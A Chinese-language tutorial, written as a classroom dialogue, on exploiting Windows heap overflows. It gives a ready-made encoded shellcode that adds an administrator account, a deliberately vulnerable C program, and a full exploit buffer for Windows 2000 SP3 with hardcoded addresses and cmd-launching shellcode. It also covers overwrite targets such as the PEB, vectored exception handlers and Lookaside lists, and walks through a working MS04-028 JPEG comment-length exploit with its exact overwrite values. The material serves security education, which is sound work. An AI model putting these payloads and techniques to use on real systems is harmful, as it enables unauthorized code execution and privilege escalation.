　　“前几次课，我们对ShellCode的编写进行了详细讲解，这里就使用现成的添加用户的ShellCode吧！功能是添加一个名为‘X’的用户，并加入到管理组中

unsigned char ShellCode[] = // XorDecode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x96\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// AddUser:X Pass:X
"\xf0\x17\x7a\x16\x96\x1f\x70\x7e\x21\x96\x96\x96\x1f\x90\x1f\x55"
"\xc5\xfe\xe8\x4e\x74\xe5\x7e\x2b\x96\x96\x96\x1f\xd0\x9a\xc5\xfe"
"\x18\xd8\x98\x7a\x7e\x39\x96\x96\x96\x1f\xd0\x9e\xa7\x4d\xc5\xfe"
"\xe6\xff\xa5\xa4\xfe\xf8\xf3\xe2\xf7\xc2\x69\x46\x1f\xd0\x92\x1f"
"\x55\xc5\xfe\xc8\x49\xea\x5b\x7e\x1a\x96\x96\x96\x1f\xd0\x86\xc5"
"\xfe\x41\xab\x9a\x55\x7e\xe8\x96\x96\x96\x1f\xd0\x82\xa7\x56\xa7"
"\x4d\xd5\xc6\xfe\xe4\x96\xe5\x96\xfe\xe2\x96\xf9\x96\xfe\xe4\x96"
"\xf7\x96\xfe\xe5\x96\xe2\x96\xfe\xf8\x96\xff\x96\xfe\xfb\x96\xff"
"\x96\xfe\xd7\x96\xf2\x96\x1f\xf0\x8a\xc6\xfe\xce\x96\x96\x96\x1f"
"\x77\x1f\xd8\x8e\xfe\x96\x96\xca\x96\xc6\xc5\xc6\xc6\xc5\xc6\xc7"
"\xc7\x1f\x77\xc6\xc2\xc7\xc5\xc6\x69\xc0\x86\x1d\xd8\x8e\xdf\xdf"
"\xc7\x1f\x77\xfc\x97\xc7\xfc\x95\x69\xe0\x8a\xfc\x96\x69\xc0\x82"
"\x69\xc0\x9a\xc0\xfc\xa6\xcf\xf2\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a"
"\x3b\x1d\xd6\x9e\xc8\x54\x92\x96\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e"
"\x1d\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97"
"\x7d\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae"
"\x76\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77"
"\x1d\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92"
"\x1d\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96";

　　“老师，这个ShellCode是针对哪个系统的呢？ ”台下有人问道。
　　“这个ShellCode是经过编码变换的，而且采用动态定位的方式，各个系统可以通用。”

　　“编码？通用？好神奇啊！这是怎么实现的呢？ ”大家问道。
　　“看来大家都很有兴趣，那我抽个时间给给你们讲讲ShellCode的编码及其高级编程吧！”

　　“好啊！ ”大家欢呼起来。
　　“到时我再讲具体的实现吧！现在直接使用就可以。”老师说道，“我们还是先完成对Windows 2000 SP3 Message堆溢出漏洞的攻击吧！”

跳　转　和　构　造

　　“第三步就是实现跳转到ShellCode中。”老师说，“现在，大家类比刚才的例子想想，知道该怎么做了吧？ ”
　　“嗯，在消息段中，先覆盖2263个无用字节进行填充，这样就到了堆管理块；用NOPNOPJmp 08覆盖管理块，用来跳过后面的what和where，然后进入最后的ShellCode中。”古风说。

　　玉波也抢着回答：“而我们把what覆盖成call[esi+4C]的地址，把where覆盖成默认异常处理地址，后面跟ShellCode，就像下图一样。”

　　“这样，在what—where的操作时，就会把顶层异常处理地址覆盖成call [esi+4c]的地址；发生异常后，就会执行call [esi + 0x4C]，跳转到堆管理结构中；那儿我们正好放的是JMP 08，这样跳进最后的ShellCode中了。”宇强也把流程说了一遍。

　　“非常好！ ”老师很满意大家的表现，“特别是在Windows2000 SP3下，call [esi+4C]指令的地址是 0x77e2f91f，顶层异常处理地址是0x77ec044c，这是我们在前面得到的。这样，数据构造就如下图所示。”

　　“好了！ ”老师说道，“我们就这样构造出了消息部分数据，再加上其他的数据头等结构，得到程序 message.。。我们把数据发给有漏洞的目标机，目标机就会跳过去执行我们的ShellCode。”

　　“实际测试一下，我们先在‘工程一设置’里设置要攻击的主机，如下图。”

　　“再编译、执行。目标机上就会出现下图的效果。”

　　“哦！引发了错误！”同学们叫道。
　　“是的，那是Services系统服务异常后引起的。但我们可以看到，已经加上了一个名为‘X’的用户，完成了我们想要的功能！”

　　“是啊！是那换成其他功能的ShellCode也可以么？”
　　“当然可以，只要那个ShellCode符合堆漏洞的条件就行，大家下去可以自己测试。好了，我们休息一下！ ”

RtlFreeHeap 的　失　误

　　课间休息时大家议论纷纷。
　　“缓冲区溢出有如此多的方法，真奥妙啊！”
　　“有些地方无法用语言表达，只能自己去感受！”

　　“是的！ ”老师说道，“程序设计其实就是一门艺术；而缓冲区溢出编程，更是普通程序设计之上的突破与创新！”
　　“不过说到程序设计艺术啊！”老师和大家随便的聊开了，“强烈建议大家参与ICPC/ACM (国际大学生程序设计竞赛）。该赛事极大的锻炼了学生的逻辑分析能力、策略制定和脑力开发！”

　　小知识：
　　ICPC/ACM (国际大学生程序设计竞赛）是由ACM (Association for Computing Machinery，美国计算机协会）组织的年度性竞赛，始于1970 年，是全球大学生计算机程序能力竞赛活动中最有影响的一项赛事。竞赛方式是在指定时间和地点，由3 个成员组成的小组应用一台计算机在5个小时内编程解决6至9个生活中的实际问题，现场提交源程序，自动评判是否通过测试数据，按照解决问题数目的多少和耗时排名。

　　老师接着说：“ICPC/ACM分为各洲的预赛和美国总部总决赛。预赛的第一名或前两名队伍会获得去美国参加世界总决赛的资格。总决赛的地点前两年在夏威夷，现在在好莱坞。”

　　“哇！都是好想去的地方啊！ ”小倩说道。
　　“中国大陆2001年只有一个赛点——上海大学。后来增加了一个，2002年是北京清华和西安交大，2003 年是北京清华和中山大学，今年2004年是北京大学和上海交大。”

　　“中国谁最强呢？清华么？ ”古风仰慕的问道。
　　“实力都很接近。但上海交大代表队于2002年获得世界总决赛冠军！是国内唯一的一次冠军！ ”老师满脸自豪。

　　“哇！世界冠军啊！”玉波的嘴都张大了。

　　“是啊，我们学校离一流强队还有一定的差距，未来就在你们身上啊！平时可供练习的网站有浙江大学 (acm.zju.edu.cn)、四川大学（acm.scu.edu.cn)，里面有大量题目和不定期的比赛交流。”

　　“大家有时间的话，多参与一些此类的活动吧！打好算法和数据结构的基础，不要虚度了大学四年的时光啊！ ”

　　宇强听了老师的话后，内心激荡不已……

有问题的程序

　　“好了，我们继续上课吧！ ”老师说道。
　　“大家都清楚了堆溢出利用的实质吧！就是写任意4个byte的数据到任意的内存地址中，即前面强调的 what—where。除了刚才再分配时，我们能实现what—where外，我们也可覆盖已分配的管理结构，使它在释放时被我们利用！”

　　“哦？还可以这样啊？真是想不到，怎么利用啊？ ”同学们纷纷问道。
“看来大家兴趣都很高，不错，有兴趣才能钻研嘛！先看另一个有堆溢出问题的程序heapvul2.cpp。如下：”

[mw_shl_code=c,true]#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <malloc.h>
int main (int argc, char *argv[])
{
HANDLE hHeap;
char *buf1, *buf2;
//一个38字节的缓冲区
char mybuf[] = "11112222333344445555666677778888\x03\x00\x05\x00\x00\x09";
//我们自己建立一个HEAP
hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
//分配两块32字节内存
buf1 = (char *)HeapAlloc(hHeap, 0, 32);
buf2 = (char *)HeapAlloc(hHeap, 0, 32);
//把38字节的‘mybuf’拷贝到32字节的‘buf1’里
memcpy(buf1, mybuf, 32+6);
//释放内存
HeapFree(hHeap, 0, buf1);
//这里会出错
HeapFree(hHeap, 0, buf2);
return 0;
}[/mw_shl_code]

　　“和上面那个 heapvul2.cpp 程序不一样，”老师说道，“这里 buf1=(char *)HeapAlloc(hHeap, 0, 32); 和 buf2=(char *)HeapAlloc(hHeap, 0, 32); —来就动态分配好了 ‘buf1’ 和 ‘buf2’ 的空间，如下图。”

　　“然后 memcpy(buf1, mybuf, 32+6);就是把 ‘mybuf ’ 数组拷贝到 ‘buf1’ 里。拷贝了 38 字节，‘buf1’ 只有32字节。这样过长的字符串拷给‘buf1’，不仅覆盖了其32字节的空间，还覆盖了 ‘buf2 ‘的管理结构，如下图。”

　　“最后执行HeapFree(hHeap, 0, buf2)释放‘buf2’时就会出错。”老师说道。“我们测试一下，编译、执行！弹出出错对话框：‘0x77fccfe8’指令应用的‘0x34343434’内存，该内存不能为‘written’ ，如下图”

Windows　堆　块　的　管　理　结　构

　　“哦！ 0x34343434是我们构造的数据吧？”大家高兴的说，“那我们又可以控制把任意东西写进任意位置了啊？ ”

　　“是啊，但为什么要把‘Buf2’的管理结构填成\x03\x00\x05\x00\x00\x09这么奇怪的数呢？ ”宇强又发现了问题。

　　“嗯，观察得很仔细。因为在Windows下堆管理有很多分支，所以堆的溢出也非常复杂。Windows系统在作释放处理时，将根据堆块管理结构的数据来进入不同流程的处理。”

　　“哦！ ”

　　“所以，如果我们想要在Buf2释放时能控制what和where的值，并能执行what—where的操作，那就需要精心构造‘Buf2’的管理结构！”

　　“堆块的管理结构都是8个字节，每个字节的含义如下图。”

　　“要达到我们的目的，产生what—where的操作，就需要让‘Buf2’的管理结构满足下面的条件。”老师说。

　　“第一，要让‘索引号’段的值小于0x40;
　　第二，要让‘Flag’的第0位和第三位都置1，如下图。”

　小知识：Flag段每位的含义

0x01 - HEAP_ENTRY_BUSY
0x02 - HEAP_ENTRY_EXTRA_PRESENT
0x04 - HEAP_ENTRY_FILL_PATTERN
0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
0x10 - HEAP_ENTRY_LAST_ENTRY
0x20 - HEAP_ENTRY_SETTABLE_FLAG1
0x40 - HEAP_ENTRY_SETTABLE_FLAG2
0x80 - HEAP_ENTRY_SETTABLE_FLAG3

what→where

　　“在这样的构造下，RtlFreeHeap的时候会有一系列操作。”老师接着解释道。“首先，esi是指向‘Buf2’ 的管理结构，后面会有esi=esi-24的操作，esi就指向了 ‘Bf1’的存储空间数据。如下图。”

　　“然后会有，mov eax，[esi]; mov esi, [esi+4]的操作，现在eax和esi都是‘Buf!’中的数据了。如下图。”

　　“最后，有一个mov [esi]，eax的操作（如下图)，即我们想要的what—where。这里的where是esi， what是eax，而且esi和eax是‘Bufl’中的数据，都是我们可以控制的。”

　　“哦，那我们精心构造B的管理结构的值，并覆盖掉what和where位置上的值就可以了！”宇强现在明白了。

构　造　和　利　用

　　”对，我们构造一个示意图。“

　　‘那我们按照这个结构构造出利用的‘mybuf’就可以了。”大家七手八脚的构造出了 mybuf数据。

char mybuf[] = "11112222"
"\x1f\xf9\xe2\x77" //what call[esi+0x4c] in user32
"\x4c\x04\xec\x77" //where TOP SEH in 2000 sp3 cn
//"\xaa\xaa\xaa\xaa" //test
"5555666677778888\x03\x00\x05\x00\x00\x09"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//下面是Win2000 SP3下的开DOS窗口的ShellCode，参看第二章
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3
"\xFF\xD0";

　　“呵呵，大家回去测试一下，如果有什么问题，自己要试着解决！ ”老师说道，“而现在，我们继续探讨堆溢出利用的问题。”

堆　溢　出　的　其　他　利　用　方　式

　　“堆溢出利用的本质，就是使其产生what—where的操作，而让系统走向我们想要的流程。所以把what 和where覆盖成什么值是利用能否成功的关键。”老师说道。“刚才我们使用的是默认异常处理地址，方法是把where覆盖成默认异常处理的地址，把what覆盖成ShellCode地址或能达到ShellCode的语句地址。”

　　“嗯，Windows2000下的what就是call [esi+0x4c]指令的地址？”同学们说道。

　　“对，对于Windows2000,还可以是call [ebp+0x74]指令的地址，而在XP系统下，则是call[edi+0x78] 指令的地址。”

　　“这种覆盖方法，看起来还是不错嘛！ ”大家看起来都很满意。

　　“这种方法的优点是比较准确;但缺点是需要确切知道对方的系统和SP补丁号一默认异常的处理地址在各个版本和SP下都是不同的。”

　　“是啊！ ”这句话提醒了大家，“好像还提到过把where覆盖成SEH的方法吧！”

　　“是的，那是把where覆盖成当前异常处理程序地址，what覆盖成能达到ShellCode的语句地址。”

　　“前面也说过，这种方法的优点与对方的系统和补丁无关，会比较准确通用；但缺点是需要对方线程地址是固定的。”

　　“哦，那有别的更好的覆盖方法吗？”大家对已有的利用方式还不满意。

　　“基于对Windows系统的深层认识，还有另外一些方法；但总的说来，这些也是类似的。”老师回答道。

覆　盖 PEB

　　小知识：PEB和TEB

　　PEB,指进程环境块。TEB,指线程环境块。
　　在编程实现时，可以通过FS寄存器找到TEB、PEB甚至默认堆的起始地址。具体说，就是FS:[18]—TEB; TEB+30—PEB; PEB+18—默认的堆地址。在ShellCode高级编写中会有详细讲解。

　　“在NT4/Windows2000/XP下，PEB的值都是固定的，都是0x7FFDF000。而在PEB偏移0x20的地方（即 0x7FFDF020),有一个函数指针 RtlEnterCriticalSection()函数的指针。如下图。”

　　”哦，莫非我们可把where覆盖成它？ ”玉波问道。

　　“对！ RtlEnterCriticalSection()函数很多地方都要用到，我们如果把0x7FFDF020覆盖成ShellCode的地址，那么系统调用RtlEnterCriticalSection函数时就会进入我们的ShellCode。覆盖示意图如下图。”

　　“哦！ 0X7FFDF020这个地址对所有版本和系统都是通用的；那我们可得到版本无关的覆盖了？ ”大家说道。

　　“是的，这是该方法最大的优点；但也有缺点，就是需要目标程序在后面调用RtlEnterCriticalSection ()函数才能进入我们的ShellCode。”

　　“的确是这样啊！”

　　“而且这样的覆盖也有可能会引发异常。所以能否进入我们的ShellCode，就需要具体程序具体分析，不能一概而论。”

覆　盖　Vector　异　常　句　柄

　　“在XP下，有一种特殊的结构Vector异常句柄结构。它和传统的异常处理链存在堆栈中不同，Vector是存在堆里的。”

　　小知识：Vector异常句柄结构

struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
PVOID m_pfnVectoredHandler;
}

　　“哦？莫非我们可通过覆盖它来实现跳转？ ”宇强听出了一点意思。
　　“不错！很有创新思维嘛！ ”老师笑道。

　　宇强不好意思的小声对小倩说：“其实老师都说出这个意思了！”

　　小倩回道：“但你悟性的确很好啊！”
　　“那里哦！听听老师怎么讲的吧！”宇强表面虽作推辞状，心里却高兴极了。

　　老师在台上说：“就是这样的，第一个Vector异常句柄位于地址0x77FC3210中，当作异常处理时，会有下面的处理：”

Mov esi,:[0x77FC3210]
call [esi+8]

　　“所以，我们把where覆盖成0x77FC3210，而把what覆盖成ShellCode的地址一8。如下图”。

　　“假设 ShellCode 的地址是 0x0012FF50,我们就把 what 覆盖成 0x0012FF50－8 = 0x0012FF48。”

　　“当执行what—where时，0x77FC3210就会设为0x0012FF48;这样在发生异常处理时，先mov esi, : [0x77FC3210] , esi 就会变为 0x0012FF48;再执行 call [esi+8]时，就是执行 call　0x0012FF50 。 ”

　　“哦！这样就可进入位于0x0012FF50地址的ShellCode 了。”大家说道。

　　“是的！”

　　“这种方法也有不足之处吗？”

　　“又让大家失望了，的确是的，”老师说道，“第一个不足是只针对XP系统有效，Win2000下是没有Vector 溢出处理的；第二个不足是：‘what’要么覆盖成ShellCode的地址，要么覆盖成是指向ShellCode的某个地址，都有可能造成不可信的覆盖。”

其　他　方　法

　　“天啊！就没有完美的办法么？ ”玉波绝望的说。

　　“我也知道这个世界，缺乏圆满〜”宇强哼出林志炫的《散了吧》里的一句歌词。

　　“哈哈哈……”全班同学都笑了。

　　“学习了这么多，觉得Windows系统真有意思啊！”古风自喃道。

　　“操作系统是最底层、最复杂的用户软件，多亏了 Bill Gates创造出Windows这种人性化的操作系统。”

　　老师说道，“大家越深入的学习，就会越赞叹程序设计这座美妙的大厦。这里提醒大家，我们不仅要学习系统本身，更关键的是学习微软设计系统的思想和实现系统的方法。”

　　“嗯，虽然没有源代码，但能感觉到他们处理问题的条理性和严谨性。”宇强认真的说。

　　“对！另外，大家还应体会到团队合作的必要性和管理的重要性，”老师说道，“你们想啊！这么大一个系统，浩如烟海的代码量，需要成千上万人的配合开发，如果管理协调有任何一点没到位，都不可能完成的。“

　　“而这方面目前在国内还很缺乏，如果大家有机会，能去微软亚洲研究院和微软工程院见识见识，近距离的向他们学习，对自己的提高是大有裨益的！”

　　“哦，微软研究院？想都不敢想！”大家喧哗了。

　　宇强听了老师的话后，顿觉得世界好大，自己好小……要学的东西很多，而一个人的时间又是这么宝贵，真的要抓紧再抓紧！努力再努力！

　　　　“老师，还有其他覆盖方法吗？”古风把宇强的思路拉了回来。

　　“如果对系统研究得越深，就会有越深入的见解。”老师回答说，“Matt Conover和0ded Horovitz在 BlackHat04会议上提到：我们可以构造伪造的堆块，使它释放时能算出ShellCode的地址！”

　　“啊？算出来？￥※……※太牛了吧！ ”

　　“这里的算出，是确切的计算出堆的地址！ Matt和Oded在深入研究了 Windows堆管理后指出：我们申请小于1024大小的堆块，系统会释放到Lookaside结构中，而Lookaside的地址是知道的，我们也知道会释放到哪个结点中，所以我们就可知道堆块释放后的地址是多少！”

　　“给大家举个例子，假设堆的基址是0x70000, Lookaside在堆基址偏移0x0688的地方，即地址是0x70688。我们申请分配922大小的堆块，释放时就会把它放在：取8对齐（922) /8=936/8=0x75的Lookaside位置中，每个Lookaside位置占据0x30的大小，所以我们的堆的地址就是0x70688+0x75*0x30=0x71c78 ！ ”

　　“哦！还可以这样啊!

　　“我们的ShellCode就会在其中，这下就精确知道ShellCode的地址了！”

　　“这真是……不走寻常路，世界真奇妙……”大家对Matt和0ded的思维佩服得无话可说。

　　“在Windows下，堆的管理非常复杂，还有另外一些复杂的技术可以利用，但这里就不提了，以后有机会再说吧。”老师说道。

　　“其实，还有一个常用方法，就是覆盖函数或者函数的返回点，但就更需要结合具体的漏洞来分析了。”

　　“可以真实的学习一下吗？ ”

　　“当然可以啊！我们来看一个比较新的堆溢出漏洞一MS04-028堆溢出漏洞。”

实　例——JPEG　处　理　堆　溢　出　漏　洞　的　利　用

　　“MS04-028漏洞是Windows XP/Windows XP SP1和其他一些（如.NET等）应用软件在处理伪造JPEG图片时出现的问题。”老师指着下图说。

　　“哦，是堆溢出漏洞，并能被利用执行任意代码呢！”大家仔细看了公告后说道。

　　“是的，正好我们学习堆溢出，一起来分析利用它吧！”

　　大家又打起精神，聚精会神的听了起来。

漏　洞　的　起　因

　　“JPEG是联合图像专家小组的英文缩写，该小组制定了图像压缩的国际标准算法一JPEG算法，由该算法产生的图像就是JPEG图像。”老师说道。

　　小知识：JPEG图像的主要格式

　　0xFFD8 图像开始标志
　　0xFFE0 ~0xFFEF 应用0~应用F标志，标志后面接相关数据，下同
　　0xFFFE 注释标志
　　0xFFDB 量化表标志
　　0xFFD0 帧开始标志
　　0xFFD4 哈夫曼表标志
　　0xFFDA 图象数据标志

　　0xFFD9 图像结束标志

　　“会出现问题的地方在注释部分，注释段以0xFFFE为开始标志；后面是注释段的长度值，再后面为注释的数据。”

　　“注释段的长度值是2个字节的无符号数，其值为注释的数据长度+2,这里的2是长度值本身占用的2个字节。一个合法的注释段如下图。”

　　老师指着图解释道：“注释数据‘0x0102’为2个字节，所以长度值= 2+2=4。当系统要拷贝注释内容时，就分配长度值一 2 =4 — 2 =2的空间，然后把注释内容拷到那个空间去。

　　“嗯，看起来都很好啊？有什么问题吗？ ”古风问道。　

　　“呵呵！问题就在这里，由于长度值本身占据的两个字节要计入长度中，所以长度值的最小值为2,表示没有注释数据在后面。而如果长度值被伪造为0或1，大家想想会有什么问题呢？”老师望着台下听讲的同学们。

　　“长度值会被减2,那0或1减2,就会得到-2或-1，那程序会怎样呢？ ”大家觉得很奇怪。

　　“长度定义是无符号数，那-2或-1就会被认为是……”老师提醒大家。

“-2或-1就会被认为是是无符号数的0xFFFE或0xFFFF ！ ”大家终于回过神来。

　　“对！这样系统就分配大量的空间用于存储并拷贝，由于拷贝的数据非常大，自然就会引发异常了。”

构　造　的　特　殊　性

　　“哦，那是不是引发异常后，有what—where的操作呢？ ”宇强凭感觉说道。

　　“是的！异常后有what—where的操作，而且what是FFFE后的第12个字节，而where是FFFE后的第16 个字节。如下图”

　　“那我们把where覆盖成默认异常处理地址，what覆盖成ShellCode地址就可以了？

　　“好啊！大家试试？”

　　“把what填为ShellCode的地址，where填为系统默认异常处理地址，后面跟上ShellCode的代码。生成伪造图片后，我们在资源管理器中浏览试试。”

　　教室里一片安静.....

　　“这是怎么回事呢？ ”古风疑惑的看着老师。

　　“呵呵，这是没有引发默认异常处理啊！”老师回答说。

　　“哦！那我们换个利用方式吧，”古风说道，“把where覆盖成SEH处理地址，what覆盖成ShellCode 地址，再试试！”

　　“铛！ ”这下弹出了异常对话框。

　　“这次引发了默认异常处理，却没进入到SEH处理中。”老师说道。

　　“天啊！这这么办啊？ ”古风彻底迷糊了。

　　“呵呵！堆溢出漏洞的利用就是需要具体漏洞具体分析。对于这个漏洞，我们有特殊的利用方法。”

　　“什么特殊方法呢？ ”大家都急切的想知道。

　　“在异常处理后，系统会返回到GdiPlus.dll中继续执行，这是GdiPlus.dll特有的行为，不是每个堆溢出漏洞都会有的。”

　　“老师直接说结果吧！ ”古风按耐不住了。

　　“好的，覆盖方法是把where赋成0x7830B1DC，而what赋成EF 1F。”

　　老师继续解释道：“0x7830B1DC是XP SP1的GdiPlus.dll中的一个函数地址，在异常处理后会被调用。所以当异常处理执行what—where时，就会将这个函数改写；异常处理后，会返回GdiPlus.dll中调用我们覆盖的函数。经过多次处理后，程序就会到达我们what这条指令了。”

　　021D6250 EB 1F JMP SHORT 021D6271

　　“哦！我们再在后面赋上ShellCode就可完成攻击了！ ”大家说道。

　　“不错，就是这样的！”

完　美　的　利　用

　　“好，思路都清楚了，我们来构造利用吧！ ”。

　　“好咧，首先是注释标志0xFFFE，然后是伪造的注释段长度0x0001，接着14直接填充数据后，就是我们的what和where 了。”古风构造了起来。宇强和玉波也接着说：“对，然后把what写成0xEB 1F，where写成0x7830B1DC，后面跟我们的ShellCode，如下图。”

　　“这里的ShellCode还是完成添加名为‘X’管理员用户的功能，”老师补充道，“我们再按照JPEG的格式加上一些JPEG图片的数据，完成后得到xpspl.JPEG。”

　　“那我们测试一下吧！ ”大家期望的说。

　　“好呢！我们在资源管理器中打开它，哇！资源管理器异常重启，但用户添加上去了。”

　　“呼！终于成功了！”

　　玉波感叹的说：“看来堆溢出的利用的确没有通吃的办法啊！”

　　“学知识不是吃东西啊！我们需要先掌握一般的原理，打好基础，然后具体问题具体分析，这样才能创造性的解决较困难的问题。”老师说道。

　　“嗯，我们一定牢记于心！”

　　“好，这么晚了，今天都到这里吧，大家辛苦了！”

　　“那里那里，老师才辛苦呢！”

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Windows下堆溢出利用编程

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